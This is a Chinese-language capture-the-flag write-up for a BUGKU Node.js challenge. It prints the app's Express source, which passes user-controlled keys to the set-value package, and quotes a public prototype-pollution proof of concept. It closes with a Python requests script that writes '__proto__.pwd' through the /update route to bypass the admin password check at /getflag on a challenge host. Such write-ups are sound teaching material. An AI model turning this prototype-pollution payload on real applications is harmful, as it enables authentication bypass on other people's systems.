是道nodejs原型链污染题,之前一直觉得好难没有学习过,今天大致看了下,稍微能看懂一点了,主要还参考了dota_st师傅的这个wp,师傅tql
这里也就简单写写吧,首先是个简单的页面,有个注册功能,扫描下路径得到www.zip
的源码,找到里面的index.js
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| var express = require('express'); const setFn = require('set-value'); var router = express.Router();
const Admin = { "password":process.env.password?process.env.password:"password" }
router.post("/getflag", function (req, res, next) { if (req.body.password === undefined || req.body.password === req.session.challenger.password){ res.send("登录失败"); }else{ if(req.session.challenger.age > 79){ res.send("糟老头子坏滴很"); } let key = req.body.key.toString(); let password = req.body.password.toString(); if(Admin[key] === password){ res.send(process.env.flag ? process.env.flag : "flag{test}"); }else { res.send("密码错误,请使用管理员用户名登录."); } }
}); router.get('/reg', function (req, res, next) { req.session.challenger = { "username": "user", "password": "pass", "age": 80 } res.send("用户创建成功!"); });
router.get('/', function (req, res, next) { res.redirect('index'); }); router.get('/index', function (req, res, next) { res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>'); }); router.post("/update", function (req, res, next) { if(req.session.challenger === undefined){ res.redirect('/reg'); }else{ if (req.body.attrkey === undefined || req.body.attrval === undefined) { res.send("传参有误"); }else { let key = req.body.attrkey.toString(); let value = req.body.attrval.toString(); setFn(req.session.challenger, key, value); res.send("修改成功"); } } });
module.exports = router;
|
之前完全不会js,百度了下大概知道了代码中的一些意思
首先最关键的就是找到原型链污染的点,这里是setFn(req.session.challenger, key, value);
这里,具体的poc是这个
https://snyk.io/vuln/SNYK-JS-SETVALUE-45021
即
1 2 3
| const setFn = require('set-value'); setFn({},'__proto__.p1',"hacked"); console.log({}.p1);
|
通过setFn后,这里obj对象的原形中p1的值就变成了hacked,使别的对象也能访问到这个变量p1和它的值,因为nodejs访问变量是层层递进的,自己没有就去原型中找
然后就是关于req.body
,这个是nodejs中取参的一种方式,类似php的$_GET,req.body.attrval.toString();
就表示接受用户传入的attrval变量,具体可以看看这个
接下来看代码
可以看到最关键的/getflag部分,需要绕过两个地方,一个是age要小于79,还有一个就是Admin[key]===password
age
很好绕,只要通过update改掉就行了
Admin
中只有一个属性,就是键process.env.password
中的值password
,很显然,我们并不知道系统变量中password的值,所以我们必须往原型链的下一个object对象中添加一个键和值,这也就可以是Admin[我们传入的key]===我们传入的password了
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import requests
s = requests.session() header = {'Content-Type': 'application/json'} url = 'http://114.67.246.176:13093/'
r = s.get(url+'reg') print(r.text)
payload1 = {'attrkey': '__proto__.pwd', 'attrval': '123'} r = s.post(url=url + 'update', headers=header, json=payload1) print(r.text)
payload2 = {'attrkey': 'age', 'attrval': '10'} r = s.post(url=url + 'update', headers=header, json=payload2) print(r.text)
payload3 = {'key': 'pwd', 'password': '123'} r = s.post(url=url + 'getflag', headers=header, json=payload3) print(r.text)
|
结果